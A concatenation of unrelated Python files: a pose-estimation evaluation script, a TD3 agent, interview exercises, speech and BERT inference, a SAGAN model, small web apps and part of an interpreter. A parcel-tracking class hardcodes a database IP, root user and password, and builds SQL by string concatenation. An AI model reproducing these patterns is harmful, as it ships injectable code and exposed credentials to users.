if cy2 > y7:
y6 = y7 + dh6
else:
y6 = y7 - dh6
cx = centerp[0]
cy = centerp[1]
# cv2.line(img, (x1,y1), (x4, y4), 255, 2)
# cv2.line(img, (x3, y3), (x2, y2), 255, 2)
cv2.line(img, (x1, y1), (x2, y2), (255, 255, 0), 1)
cv2.line(img, (x1, y1), (x3, y3), (255, 255, 0), 1)
cv2.line(img, (x2, y2), (x4, y4), (255, 255, 0), 1)
cv2.line(img, (x3, y3), (x4, y4), (255, 255, 0), 1)
# cv2.line(img, (x5, y5), (x8, y8), 255, 2)
# cv2.line(img, (x7, y7), (x6, y6), 255, 2)
cv2.line(img, (x5, y5), (x6, y6), (255, 255, 0), 1)
cv2.line(img, (x5, y5), (x7, y7), (255, 255, 0), 1)
cv2.line(img, (x6, y6), (x8, y8), (255, 255, 0), 1)
cv2.line(img, (x7, y7), (x8, y8), (255, 255, 0), 1)
cv2.line(img, (x1, y1), (x5, y5), (255, 255, 0), 1)
cv2.line(img, (x2, y2), (x6, y6), (255, 255, 0), 1)
cv2.line(img, (x3, y3), (x7, y7), (255, 255, 0), 1)
cv2.line(img, (x4, y4), (x8, y8), (255, 255, 0), 1)
# cv2.circle(img, (cx, cy), 2, (0, 0, 255), 1)
# cv2.circle(img, (cx1, cy1), 2, (0, 0, 255), 1)
# cv2.circle(img, (cx2, cy2), 2, (255, 0, 255), 1)
pr_points = np.array([cx, cy, x1, y1, x2, y2, x3, y3, x4, y4, x5, y5, x6, y6, x7, y7, x8, y8], float)
# print(pr_points)
# fang[-1]
return pr_points
def demo(net, image_name):
"""Detect object classes in an image using pre-computed object proposals."""
# Load the demo image
# image_name = os.path.join(cfg.DATA_DIR, 'linemod_demo', image_name)
# print(im_file)
# fang[-1]
im = cv2.imread(image_name)
# print(im)
# Detect all object classes and regress object bounds
timer = Timer()
timer.tic()
# scores, boxes, points2d = im_detect(net, im)
scores, boxes, front_2_1_points, front_2_2_points, front_center, back_2_1_points, back_2_2_points, back_center, center = im_detect(net, im)
# print(np.max(front_4points))
# print(np.max(back_4points))
# print(np.max(center))
# fang[-1]
# scores, boxes, center = im_detect(net, im)
timer.toc()
# print('Detection took {:.3f}s for {:d} object proposals'.format(timer.total_time(), boxes.shape[0]))
# Visualize detections for each class
thresh = 0.75 # CONF_THRESH
NMS_THRESH = 0.3
im = im[:, :, (2, 1, 0)]
# fig, ax = plt.subplots(figsize=(12, 12))
# ax.imshow(im, aspect='equal')
cntr = -1
img = cv2.imread(image_name)
for cls_ind, cls in enumerate(CLASSES[1:]):
cls_ind += 1 # because we skipped background
cls_boxes = boxes[:, 4*cls_ind:4*(cls_ind + 1)]
cls_scores = scores[:, cls_ind]
cls_front_2_1_points = front_2_1_points[:, 4*cls_ind:4*(cls_ind + 1)]
cls_front_2_2_points = front_2_2_points[:, 4*cls_ind:4*(cls_ind + 1)]
cls_front_center = front_center[:, 2*cls_ind:2*(cls_ind + 1)]
cls_back_2_1_points = back_2_1_points[:, 4*cls_ind:4*(cls_ind + 1)]
cls_back_2_2_points = back_2_2_points[:, 4*cls_ind:4*(cls_ind + 1)]
cls_back_center = back_center[:, 2*cls_ind:2*(cls_ind + 1)]
cls_center = center[:, 2*cls_ind:2*(cls_ind + 1)]
dets = np.hstack((cls_boxes,
cls_scores[:, np.newaxis])).astype(np.float32)
keep = nms(torch.from_numpy(dets), NMS_THRESH)
dets = dets[keep.numpy(), :]
front_2_1_points_det = cls_front_2_1_points[keep.numpy(), :]
front_2_2_points_det = cls_front_2_2_points[keep.numpy(), :]
front_center_det = cls_front_center[keep.numpy(), :]
back_2_1_points_det = cls_back_2_1_points[keep.numpy(), :]
back_2_2_points_det = cls_back_2_2_points[keep.numpy(), :]
back_center_det = cls_back_center[keep.numpy(), :]
center_det = cls_center[keep.numpy(), :]
inds = np.where(dets[:, -1] >= thresh)[0]
# print('inds', inds)
# fang[-1]
inds = [0]
if len(inds) == 0:
continue
else:
cntr += 1
for i in inds:
bbox = dets[i, :4]
score = dets[i, -1]
frontp1 = front_2_1_points_det[i, :]
frontp2 = front_2_2_points_det[i, :]
fcenterp = front_center_det[i, :]
brontp1 = back_2_1_points_det[i, :]
brontp2 = back_2_2_points_det[i, :]
bcenterp = back_center_det[i, :]
centerp = center_det[i, :]
pr_points = show_result_3points(frontp1, frontp2, fcenterp, brontp1, brontp2, bcenterp, centerp, img)
# show_result_3points(brontp1, brontp2, bcenterp, img)
# cv2.imshow('img', img)
# cv2.waitKey(0)
# cv2.destroyAllWindows()
cv2.imshow('img', img)
cv2.waitKey(0)
cv2.destroyAllWindows()
# fang[-1]
return pr_points
# ax.plot((center_x, center_y), s=1, c='b')
# ax.add_patch(
# plt.Rectangle((bbox[0], bbox[1]),
# bbox[2] - bbox[0],
# bbox[3] - bbox[1], fill=False,
# edgecolor=COLORS[cntr % len(COLORS)], linewidth=3.5)
# )
# ax.text(bbox[0], bbox[1] - 2,
# '{:s} {:.3f}'.format(cls, score),
# bbox=dict(facecolor='blue', alpha=0.5),
# fontsize=14, color='white')
# ax.set_title('All detections with threshold >= {:.1f}'.format(thresh), fontsize=14)
# plt.axis('off')
# plt.tight_layout()
# plt.savefig('demo_' + image_name)
# print('Saved to `{}`'.format(os.path.join(os.getcwd(), 'demo_' + image_name)))
def parse_args():
"""Parse input arguments."""
parser = argparse.ArgumentParser(description='Tensorflow Faster R-CNN demo')
parser.add_argument('--net', dest='demo_net', help='Network to use [vgg16 res101]',
choices=NETS.keys(), default='res101')
parser.add_argument('--dataset', dest='dataset', help='Trained dataset [pascal_voc pascal_voc_0712]',
choices=DATASETS.keys(), default='pascal_voc')
args = parser.parse_args()
return args
def get_camera_intrinsic():
K = np.ones((3, 3), dtype='float64')
K[0, 0], K[0, 2] = 572.4114, 325.2611
K[1, 1], K[1, 2] = 573.5704, 242.0489
K[2, 2] = 1.
return K
def get_3D_corners(vertices):
min_x = np.min(vertices[0,:])
max_x = np.max(vertices[0,:])
min_y = np.min(vertices[1,:])
max_y = np.max(vertices[1,:])
min_z = np.min(vertices[2,:])
max_z = np.max(vertices[2,:])
corners = np.array([[min_x, min_y, min_z],
[min_x, min_y, max_z],
[min_x, max_y, min_z],
[min_x, max_y, max_z],
[max_x, min_y, min_z],
[max_x, min_y, max_z],
[max_x, max_y, min_z],
[max_x, max_y, max_z]])
return corners
def compute_projection(points3d, R, K):
projections_2d = np.zeros((2, points3d.shape[1]), float)
camera_projection = (K.dot(R)).dot(points3d)
projections_2d[0,:] = camera_projection[0,:] / camera_projection[2,:]
projections_2d[1,:] = camera_projection[1,:] / camera_projection[2,:]
return projections_2d
def compute_transformation(points_3D, transformation):
return transformation.dot(points_3D)
def test():
cfg.TEST.HAS_RPN = True # Use RPN for proposals
args = parse_args()
imgs_path = '/media/smallflyfly/Others/faster-rcnn_9points_ape/data/VOCdevkit2007/VOC2007/JPEGImages/'
labels_path = '/media/smallflyfly/Others/faster-rcnn_9points_ape/data/VOCdevkit2007/VOC2007/Annotations/'
test_file_path = '/media/smallflyfly/Others/faster-rcnn_9points_ape/data/VOCdevkit2007/VOC2007/ImageSets/Main/test.txt'
fid = open(test_file_path, 'r')
lines = fid.readlines()
fid.close()
# model path
demonet = args.demo_net
dataset = args.dataset
saved_model = os.path.join('output', demonet, DATASETS[dataset][0], 'default',
NETS[demonet][0] % (70000 if dataset == 'pascal_voc' else 110000))
print(saved_model)
if not os.path.isfile(saved_model):
raise IOError(('{:s} not found.\nDid you download the proper networks from '
'our server and place them properly?').format(saved_model))
# load network
if demonet == 'vgg16':
net = vgg16()
elif demonet == 'res101':
net = resnetv1(num_layers=101)
else:
raise NotImplementedError
net.create_architecture(2, tag='default', anchor_scales=[8, 12, 16]) # class 7 #fang
net.load_state_dict(torch.load(saved_model))
net.eval()
net.cuda()
errs_2d = []
errs_3d = []
px_threshold = 5.
eps = 1e-5
count = 0
diam = 0.103
for line in lines:
count += 1
print('%d / %d' % (count, len(lines)))
filename = line.strip()
im_name = imgs_path + filename + '.jpg'
pr_points = demo(net, im_name)
label_fid = open(labels_path+filename+'.txt')
line = label_fid.readlines()
label_fid.close()
label = line[0].strip().split()[1:-2]
gt_points = np.array(label, float)
gt_points[0::2] = gt_points[0::2] * 640.0
gt_points[1::2] = gt_points[1::2] * 480.0
gt_points = gt_points.reshape(9,2)
pr_points = pr_points.reshape(9,2)
K = get_camera_intrinsic()
mesh = Meshply('./data/ape.ply')
vertices = np.c_[np.array(mesh.vertices), np.ones((len(mesh.vertices), 1))].transpose()
corners3D = get_3D_corners(vertices)
corners3D = np.concatenate((np.zeros((1, 3), float), corners3D), axis=0)
_, R_exp, t_exp = cv2.solvePnP(corners3D, gt_points, K, None)
_, R_pre, t_pre = cv2.solvePnP(corners3D, pr_points, K, None)
R_mat_exp, _ = cv2.Rodrigues(R_exp)
R_mat_pre, _ = cv2.Rodrigues(R_pre)
Rt_gt = np.concatenate((R_mat_exp, t_exp), axis=1)
Rt_pr = np.concatenate((R_mat_pre, t_pre), axis=1)
proj_2d_gt = compute_projection(vertices, Rt_gt, K)
proj_2d_pr = compute_projection(vertices, Rt_pr, K)
norm = np.linalg.norm(proj_2d_gt - proj_2d_pr, axis=0)
pixel_dist = np.mean(norm)
print(pixel_dist)
if(pixel_dist > 5.0):
print('!!!!!', filename)
errs_2d.append(pixel_dist)
# error 3d distance
transform_3d_gt = compute_transformation(vertices, Rt_gt)
transform_3d_pr = compute_transformation(vertices, Rt_pr)
norm3d = np.linalg.norm(transform_3d_gt - transform_3d_pr, axis=0)
vertex_dist = np.mean(norm3d)
print(vertex_dist)
errs_3d.append(vertex_dist)
error_count = len(np.where(np.array(errs_2d) > px_threshold)[0])
acc = len(np.where(np.array(errs_2d) <= px_threshold)[0]) * 100.0 / (len(errs_2d)+eps)
acc3d10 = len(np.where(np.array(errs_3d) <= diam * 0.1)[0]) * 100. / (len(errs_3d)+eps)
print('Test finish!')
print('Acc using {} px 2D projection = {:.2f}%'.format(px_threshold, acc))
print('Acc using 10% threshold - {} vx 3D Transformation = {:.2f}%'.format(diam * 0.1, acc3d10))
if __name__ == '__main__':
cfg.TEST.HAS_RPN = True # Use RPN for proposals
args = parse_args()
# model path
demonet = args.demo_net
dataset = args.dataset
saved_model = os.path.join('output', demonet, DATASETS[dataset][0], 'default',
NETS[demonet][0] % (40000 if dataset == 'pascal_voc' else 110000))
print(saved_model)
if not os.path.isfile(saved_model):
raise IOError(('{:s} not found.\nDid you download the proper networks from '
'our server and place them properly?').format(saved_model))
# load network
if demonet == 'vgg16':
net = vgg16()
elif demonet == 'res101':
net = resnetv1(num_layers=101)
else:
raise NotImplementedError
net.create_architecture(2, tag='default', anchor_scales=[4, 8, 12]) # class 7 #fang
net.load_state_dict(torch.load(saved_model))
net.eval()
net.cuda()
print('Loaded network {:s}'.format(saved_model))
im_names = [i for i in os.listdir('data/linemod_demo/') # Pull in all jpgs
if i.lower().endswith(".jpg")]
print(im_names)
for im_name in im_names:
print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')
print('Demo for data/linemod_demo/{}'.format(im_name))
demo(net, im_name)
# plt.show()
|
import numpy as np
import random
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
from ddpg import QNet, Actor, DDPG
from replay_buffer import ReplayBuffer
class TD3(DDPG):
def __init__(self,
num_actions,
gamma,
tau,
buffer_size,
batch_size,
lr_critic,
lr_actor,
update_times,
update_actor_freq=3,
input_type='vector',
input_feature=None,
input_img_size=None,
device='cpu'):
self.num_actions = num_actions
self.gamma = gamma
self.tau = tau
self.buffer_size = buffer_size
self.batch_size = batch_size
self.lr_critic = lr_critic
self.lr_actor = lr_actor
self.update_times = update_times
self.update_actor_freq = update_actor_freq
self.input_type = input_type
self.input_feature = input_feature
self.input_img_size = input_img_size
self.device = device
self.memory = ReplayBuffer(self.buffer_size)
self.critic_update_times = 0
self._createNets()
self.critic_1_optimizer = optim.Adam(self.critic_1.parameters(), lr=self.lr_critic)
self.critic_2_optimizer = optim.Adam(self.critic_2.parameters(), lr=self.lr_critic)
self.actor_optimizer = optim.Adam(self.actor.parameters(), lr=self.lr_actor)
def _createNets(self):
self.critic_1 = QNet(self.num_actions, self.input_type, self.input_feature, self.input_img_size).to(self.device)
self.critic_1_target = QNet(self.num_actions, self.input_type, self.input_feature, self.input_img_size).to(self.device)
self.critic_1_target.load_state_dict(self.critic_1.state_dict())
self.critic_2 = QNet(self.num_actions, self.input_type, self.input_feature, self.input_img_size).to(self.device)
self.critic_2_target = QNet(self.num_actions, self.input_type, self.input_feature, self.input_img_size).to(self.device)
self.critic_2_target.load_state_dict(self.critic_2.state_dict())
self.actor = Actor(self.num_actions, self.input_type, self.input_feature, self.input_img_size).to(self.device)
self.actor_target = Actor(self.num_actions, self.input_type, self.input_feature, self.input_img_size).to(self.device)
self.actor_target.load_state_dict(self.actor.state_dict())
def _calcCriticLoss(self, state_batch, action_batch, reward_batch, next_state_batch):
next_actions = self.actor_target(next_state_batch)
next_target_values_1 = self.critic_1_target(next_state_batch, next_actions)
next_target_values_2 = self.critic_2_target(next_state_batch, next_actions)
next_target_values = torch.min(torch.cat((next_target_values_1, next_target_values_2), 1), dim=1)[0].unsqueeze(-1)
target = reward_batch + self.gamma * next_target_values
target = target.detach()
action_batch_one_hot = F.one_hot(action_batch, num_classes=self.num_actions).squeeze(1)
loss_1 = F.mse_loss(self.critic_1(state_batch, action_batch_one_hot), target)
loss_2 = F.mse_loss(self.critic_2(state_batch, action_batch_one_hot), target)
return loss_1, loss_2
def _calcActorLoss(self, state_batch):
loss = -self.critic_1(state_batch, self.actor(state_batch)).mean()
return loss
def learn(self):
cumulated_critic_1_loss = 0.0
cumulated_critic_2_loss = 0.0
cumulated_actor_loss = 0.0
actor_update_times = 0
for i in range(self.update_times):
s, a, r, next_s, done_mask = self._sampleMiniBatch()
critic_1_loss, critic_2_loss = self._calcCriticLoss(s, a, r, next_s)
cumulated_critic_1_loss += critic_1_loss
cumulated_critic_2_loss += critic_2_loss
self.critic_1_optimizer.zero_grad()
critic_1_loss.backward()
self.critic_1_optimizer.step()
self.critic_2_optimizer.zero_grad()
critic_2_loss.backward()
self.critic_2_optimizer.step()
self._softUpdate(self.critic_1, self.critic_1_target)
self._softUpdate(self.critic_2, self.critic_2_target)
self.critic_update_times += 1
if self.critic_update_times % self.update_actor_freq == 0:
actor_loss = self._calcActorLoss(s)
cumulated_actor_loss += actor_loss
self.actor_optimizer.zero_grad()
actor_loss.backward()
self.actor_optimizer.step()
self._softUpdate(self.actor, self.actor_target)
actor_update_times += 1
return cumulated_critic_1_loss / self.update_times, \
cumulated_critic_2_loss / self.update_times, \
cumulated_actor_loss / actor_update_times if actor_update_times > 0 else 0.0
|
# 3.1 Three in One:
# Describe how you could use a single array to implement three stacks
# I'll only implement Approach 1 here (fixed stack size)
# The other option is to allow flexible stack size
# This requires shifting stacks (chunks of the array) when an earlier stack "hits" the start of a later one
# Additionally, we would want to implement a circular buffer to allow the last stack to wrap around and use the start of the array if needed
class MultiStack():
def __init__(self, size, names):
self.array = [None] * (size * len(names))
self.names = names
self.start_map = {name: (len(self.array) * i) // len(names) for i, name in enumerate(names)}
self.stop_map = {name: ((len(self.array) * (i + 1)) // len(names)) - 1 for i, name in enumerate(names)}
self.size_map = {name: 0 for i, name in enumerate(names)}
def pop(self, name):
self._validate(name)
assert not self.is_empty(name), f'{name} is empty! Can\'t pop from empty stack.'
curr = self._get_current_index(name)
element = self.array[curr]
self.array[curr] = None
self.size_map[name] -= 1
return element
def push(self, item, name):
self._validate(name)
curr = self._get_current_index(name)
assert curr + 1 <= self.stop_map[name], f'Pushing another element to {name} would exceed available space allocated for {name}'
self.array[curr + 1] = item
self.size_map[name] += 1
return True
def peek(self, name):
self._validate(name)
index = self._get_current_index(name)
return self.array[index]
def is_empty(self, name):
self._validate(name)
return self.size_map[name] == 0
def _validate(self, name):
error_str = f'{name} is not a valid stack in this MultiStack! Valid stack names: {self.names}'
assert name in self.names, error_str
def _get_current_index(self, name):
start = self.start_map[name]
size = self.size_map[name]
index = start + size
return index
# Quick Tests
s = MultiStack(10, ['a', 'b'])
assert s.is_empty('a')
assert s.is_empty('b')
test_element = 1
s.push(test_element, 'b')
assert s.is_empty('a')
assert not s.is_empty('b')
assert s.peek('b') == test_element
assert not s.is_empty('b')
assert s.pop('b') == test_element
assert s.is_empty('b')
|
#BST Sequence
class Tree:
def __init__(self , val):
self.data = val
self.leftChild = None
self.rightChild = None
def bstSequence(self , root):
if root is None:
return None
print(root.data , ' ' , end = '')
self.bstSequence(root.leftChild)
self.bstSequence(root.rightChild)
t = Tree(2)
t.leftChild = Tree(1)
t.rightChild = Tree(3)
t.bstSequence(t)
|
import logging
import click
import torch
from sonosco.common.constants import SONOSCO
from sonosco.common.utils import setup_logging
from sonosco.common.path_utils import parse_yaml
from sonosco.models import Seq2Seq
from sonosco.decoders import GreedyDecoder
from sonosco.datasets.processor import AudioDataProcessor
from sonosco.common.global_settings import DEVICE
from sonosco.serialization import Deserializer
LOGGER = logging.getLogger(SONOSCO)
@click.command()
@click.option("-c", "--config_path", default="../sonosco/config/infer_las.yaml", type=click.STRING,
help="Path to infer configuration file.")
@click.option("-a", "--audio_path", default="audio.wav", type=click.STRING, help="Path to an audio file.")
def main(config_path, audio_path):
config = parse_yaml(config_path)["infer"]
loader = Deserializer()
model: Seq2Seq = loader.deserialize(Seq2Seq, config["model_checkpoint_path"])
model.to(DEVICE)
model.eval()
decoder = GreedyDecoder(config["labels"])
processor = AudioDataProcessor(**config)
spect, lens = processor.parse_audio_for_inference(audio_path)
spect = spect.to(DEVICE)
with torch.no_grad():
output = model.recognize(spect[0], lens, config["labels"], config["recognizer"])[0]
transcription = decoder.convert_to_strings(torch.tensor([output['yseq']]))
LOGGER.info(transcription)
if __name__ == "__main__":
setup_logging(LOGGER)
main()
|
from pytorch_lightning import LightningModule
from transformers import BertModel
class BertExplainer(LightningModule):
"""This encoder is used to export Bert attention after be trained."""
def __init__(self, hparams):
super(BertExplainer, self).__init__()
self.bert_encoder = BertModel.from_pretrained(
hparams.architecture,
output_attentions=hparams.output_attentions
)
def forward(self, features):
attention_mask = (features > 0).int()
return self.bert_encoder(features, attention_mask).attentions
|
import mysql.connector
class Tracking():
state_of_parcel = ['Parcel is in the source branch', 'Parcel Express driver prepare to deliver',
'Parcel is at its destination', 'Waiting for receiver', 'Parcel receive']
mydb = mysql.connector.connect(
host="35.198.233.244",
user="root",
passwd="123456",
database="parcelexpress",
port="3306"
)
mycursor = mydb.cursor()
user = ''
password = ''
def __init__(self,TrackingNumber,Sender=" "):
self.TrackingNumber=TrackingNumber
self.information=''
self.UserID=Sender
def trackPercent(self,state):
sum=0
for i in range(0,5):
sum =sum + 20
if(self.state_of_parcel[i]==state):
return sum
def getTrackingNumber(self):
return self.information[0][0]
def getSender(self):
return self.information[0][1]
def getSender_postcode(self):
return self.information[0][2]
def getSender_address(self):
return self.information[0][3]
def getSender_province(self):
return self.information[0][4]
def getSender_contact(self):
return self.information[0][5]
def getReceiver(self):
return self.information[0][6]
def getReceiver_address(self):
return self.information[0][7]
def getReceiver_province(self):
return self.information[0][8]
def getReceiver_postcode(self):
return self.information[0][9]
def getReceiver_contact(self):
return self.information[0][10]
def getState(self):
return self.information[0][11]
def track(self):
self.mycursor.execute("select TrackingNumber,Sender from Parcel")
myresult=self.mycursor.fetchall()
for i,j in myresult:
if self.TrackingNumber==i:
self.mycursor.execute("select * from Parcel where TrackingNumber ='"+str(i)+"'")
self.information =self.mycursor.fetchall()
return True
return False
|
import matplotlib.pyplot as plt
import tensorflow as tf
from tensorflow.keras import layers
import time
from .spectral import SpectralNormalization
from .attention import Attention
from .config import Config
class SAGAN:
def __init__(self, config:Config):
self.cfg = config
self.generator = self.create_generator()
self.discriminator = self.create_discriminator()
self.lr_fn_g = tf.keras.optimizers.schedules.PolynomialDecay(
self.cfg.initial_learning_rate,
self.cfg.decay_steps,
self.cfg.end_learning_rate,
self.cfg.power, cycle=True)
self.lr_fn_d = tf.keras.optimizers.schedules.PolynomialDecay(
self.cfg.initial_learning_rate*4,
self.cfg.decay_steps,
self.cfg.end_learning_rate*4,
self.cfg.power, cycle=True)
self.optimizer_g = tf.keras.optimizers.Adam(self.lr_fn_g)
self.optimizer_d = tf.keras.optimizers.Adam(self.lr_fn_g)
self.loss_g = tf.keras.metrics.Mean()
self.loss_d = tf.keras.metrics.Mean()
self.summary_writer = tf.summary.create_file_writer(self.cfg.log_dir)
self.ckpt = tf.train.Checkpoint(generator=self.generator, discriminator=self.discriminator)
self.ckpt_manager = tf.train.CheckpointManager(self.ckpt, self.cfg.ckpt_path, max_to_keep=3, checkpoint_name=self.cfg.model_name)
if self.ckpt_manager.latest_checkpoint:
self.ckpt.restore(self.ckpt_manager.latest_checkpoint)
pass
def create_generator(self):
filters = self.cfg.filters_gen
shape = [self.cfg.img_w//2**4, self.cfg.img_h//2**4, filters]
model = tf.keras.Sequential()
model.add(layers.InputLayer(input_shape=(self.cfg.z_dim,)))
model.add(layers.Dense(tf.reduce_prod(shape)))
model.add(layers.Reshape(shape))
model.add(layers.ReLU())
# [b, 4, 4, filters] -> [b, 32, 32, filters//2**3]
for i in range(3):
filters //= 2
model.add(SpectralNormalization(layers.Conv2DTranspose(filters, 4, 2, 'same', use_bias=False)))
model.add(layers.BatchNormalization())
model.add(layers.LeakyReLU(self.cfg.leakrelu_alpha))
model.add(Attention(channels=filters))
# [b, 32, 32, filter//2**3] -> [b, 64, 64, filter//2**4]
model.add(SpectralNormalization(layers.Conv2DTranspose(filters//2, 4, 2, 'same', use_bias=False)))
model.add(layers.BatchNormalization())
model.add(layers.LeakyReLU(self.cfg.leakrelu_alpha))
model.add(Attention(channels=filters//2))
# [b, w, h, filters//2**4] -> [b, w, h, 3]
model.add(layers.Conv2DTranspose(3, 3, 1, 'same', activation='tanh'))
return model
def create_discriminator(self):
filters = self.cfg.filters_dis
shape = [self.cfg.img_w, self.cfg.img_h, 3]
model = tf.keras.Sequential()
model.add(layers.InputLayer(shape))
# [b, 64, 64, 3] -> [b, 8, 8, filters*8]
for i in range(3):
filters *= 2
model.add(SpectralNormalization(layers.Conv2D(filters, 4, 2, 'same')))
model.add(layers.LeakyReLU(self.cfg.leakrelu_alpha))
model.add(Attention(channels=filters))
# [b, 8, 8, filters*8] -> [b, 1, 1, filters*32]
model.add(SpectralNormalization(layers.Conv2D(filters*4, 4, 2, 'valid')))
model.add(layers.LeakyReLU(self.cfg.leakrelu_alpha))
# [b, 1, 1, filter*32] -> [b, 1]
model.add(layers.Flatten())
model.add(layers.Dense(1))
return model
@tf.function
def gradient_penalty(self, x_real, x_fake):
alpha = tf.random.uniform(shape=[x_real.shape[0], 1, 1, 1], minval=0., maxval=1.0)
# alpha = tf.broadcast_to(alpha, x_real.shape)
interplated = alpha * x_real + (1 - alpha) * x_fake
with tf.GradientTape() as tape:
tape.watch(interplated)
logits = self.discriminator(interplated, training=True)
grads = tape.gradient(logits, interplated)
grads = tf.reshape(grads, [grads.shape[0], -1])
gp = tf.norm(grads, axis=1)
gp = tf.reduce_mean(tf.square(gp-1))
return self.cfg.gradient_penalty_weight * gp
def train(self, x_train):
test_z = tf.random.normal([25, self.cfg.z_dim])
for epoch in range(self.cfg.start_epoch, self.cfg.end_epoch):
t_start = time.time()
for i, x_real in enumerate(x_train):
for _ in range(self.cfg.discriminator_rate):
self.train_discriminator(x_real)
self.train_generator()
if i % (5000//self.cfg.batch_size) == 0:
with self.summary_writer.as_default():
tf.summary.scalar('loss_g', self.loss_g.result(), step=i)
tf.summary.scalar('loss_d', self.loss_d.result(), step=i)
if i % (20000//self.cfg.batch_size) == 0:
self.gen_plot(epoch, test_z)
if epoch % 1 == 0:
self.ckpt_manager.save(checkpoint_number=epoch)
self.gen_plot(epoch, test_z)
t_end = time.time()
cus = (t_end-t_start)/60
print(f'Epoch {epoch}|{self.cfg.end_epoch},Generator Loss: {self.loss_g.result():.5f},Discriminator Loss: {self.loss_d.result():.5f}, EAT: {cus:.2f}min/epoch')
self.loss_g.reset_states()
self.loss_d.reset_states()
@tf.function
def train_discriminator(self, x_real):
z = tf.random.normal([x_real.shape[0], self.cfg.z_dim])
with tf.GradientTape() as tape:
x_fake = self.generator(z, training=False)
logits_real = self.discriminator(x_real, training=True)
logits_fake = self.discriminator(x_fake, training=True)
loss = self.loss_func_d(logits_fake, logits_real)
gp = self.gradient_penalty(x_real, x_fake)
loss += gp
grads = tape.gradient(loss, self.discriminator.trainable_variables)
self.optimizer_d.apply_gradients(zip(grads, self.discriminator.trainable_variables))
self.loss_d.update_state(loss)
@tf.function
def train_generator(self):
z = tf.random.normal([self.cfg.batch_size, self.cfg.z_dim])
with tf.GradientTape() as tape:
x_fake = self.generator(z, training=True)
logits_fake = self.discriminator(x_fake, training=False)
loss = self.loss_func_g(logits_fake)
grads = tape.gradient(loss, self.generator.trainable_variables)
self.optimizer_g.apply_gradients(zip(grads, self.generator.trainable_variables))
self.loss_g.update_state(loss)
@tf.function
def loss_func_d(self, logistic_fake, logistic_real):
# loss_f = tf.nn.relu(1+logistic_fake)
# loss_r = tf.nn.relu(1-logistic_real)
return tf.reduce_mean(logistic_fake) - tf.reduce_mean(logistic_real)
@tf.function
def loss_func_g(self, logistic_fake):
return - tf.reduce_mean(logistic_fake)
def gen_plot(self, epoch, test_z):
x_fake = self.generator(test_z, training=False)
predictions = self.reshape(x_fake, cols=5)
fig = plt.figure(figsize=(5,5), constrained_layout=True, facecolor='k')
plt.title('epoch ' + str(epoch))
plt.imshow((predictions+1)/2)
plt.axis('off')
plt.savefig(self.cfg.img_save_path+self.cfg.img_name+"_%04d.png" % epoch)
plt.close()
def reshape(self, x, cols=10):
x = tf.transpose(x, (1,0,2,3))
x = tf.reshape(x, (self.cfg.img_w, -1, self.cfg.img_h*cols, self.cfg.img_c))
x = tf.transpose(x, (1,0,2,3))
x = tf.reshape(x, (-1, self.cfg.img_h*cols, self.cfg.img_c))
return x
|
from fastapi import (
Depends,
FastAPI,
)
from fastapi.middleware.cors import CORSMiddleware
from sqlalchemy.orm import Session
from quipper import (
models,
schemas,
services,
)
from quipper.database import (
SessionLocal,
engine,
)
# Create the tables
models.Base.metadata.create_all(bind=engine)
app = FastAPI()
app.add_middleware(
CORSMiddleware,
allow_origins=["*"],
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)
# https://fastapi.tiangolo.com/tutorial/dependencies/dependencies-with-yield
def get_db():
db = SessionLocal()
try:
yield db
finally:
db.close()
@app.get("/healthz/", status_code=200)
def get_health():
return {"healthy": True}
@app.post("/messages/", status_code=201)
def post_message(message: schemas.MessageCreate,
db: Session = Depends(get_db)):
services.create_message(db=db, message=message)
@app.get("/conversations/{conversation_id}",
response_model=schemas.Conversation)
def get_conversation(conversation_id: str,
db: Session = Depends(get_db)):
return services.get_conversation(db=db,
conversation_id=conversation_id)
|
from django.conf.urls import url,include
from . import views
urlpatterns=[
url(r'^$',views.index,name="index"),
url(r'^post/',views.post,name="post"),
url(r'^summary/(?P<id>\d+)/',views.summary,name="summary"),
url(r'^search/$',views.search,name="search"),
url(r'^gpa/$',views.gpa,name="gpa"),
url(r'^search/jobs/summary/(?P<id>\d+)/$',views.summary,name="summary"),
url(r'^gpa/jobs/summary/(?P<id>\d+)/$',views.summary,name="summary"),
url(r'^nogpa/$',views.nogpa,name="nogpa"),
url(r'^nogpa/jobs/summary/(?P<id>\d+)/$',views.summary,name="summary"),
url(r'^contact/$',views.contact,name="contact"),
url(r'^donate/$',views.donate,name="donate"),
url(r'^addemail/$',views.addemail,name="addemail"),
] |
from flask_restful import Resource
import boto3
import json
"""
Queues I Care About:
TrialEnrichment
EnrichTrials
TRIALS2ES
"""
class SQSService(Resource):
def get(self, qname):
sqs = boto3.resource('sqs')
queue = sqs.get_queue_by_name(QueueName=qname)
print(queue.attributes)
return json.dumps(queue.attributes) |
# handling byte files
b = bytes( range(0, 256) ) # start at 0 stop before 256
# print(b)
# now lets write them to a file
fout = open('bfile', 'wb') # 'wb' to (over)write bytes
fout.write(b)
fout.close()
# read back
fin = open('bfile', 'rb')
retrieved_b = fin.read()
fin.close()
print(retrieved_b) |
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''
Creado el 05/02/2015
Ult. Modificacion el 08/03/2015
@author: Aldrix Marfil 10-10940
@author: Leonardo Martinez 11-10576
'''
# Importaciones necesarias
from tablaSimbolos import *
from lexer import find_column
from functions import *
# Errores de Tipo
type_error_list = []
# Empila una nueva tabla de simbolos
def empilar(objeto, alcance):
if isinstance(objeto, Block):
objeto.alcance.parent = alcance
alcance.children.append(objeto.alcance)
else:
objeto.alcance = alcance
# Devuelve una tupla (linea, columna) en un string imprimible
def locationToString(location):
string = '(Línea {0}, Columna {1}).'.format(location[0], location[1])
return string
# Clase Expression.
class Expression:
pass
#Siempre es el primer elemento de un codigo setlan.
class Program(Expression):
def __init__(self, statement):
self.type = "PROGRAM"
self.statement = statement
self.alcance = tablaSimbolos()
def printTree(self, level):
printValueIdented(self.type, level)
self.statement.printTree(level+1)
def symbolcheck(self):
empilar(self.statement, self.alcance)
if self.statement.symbolcheck():
return self.alcance
def evaluate(self):
self.statement.evaluate()
#Clase para la asignacion de expresiones
class Assign(Expression):
def __init__(self, leftIdent, rightExp, location):
self.type = "ASSIGN"
self.leftIdent = leftIdent
self.rightExp = rightExp
self.location = location
self.alcance = tablaSimbolos()
def printTree(self,level):
printValueIdented(self.type, level)
#Impresion del identificador asignado
printValueIdented("IDENTIFIER", level + 1)
self.leftIdent.printTree(level + 2)
#Impresion de la expresion asignada
printValueIdented("VALUE", level + 1)
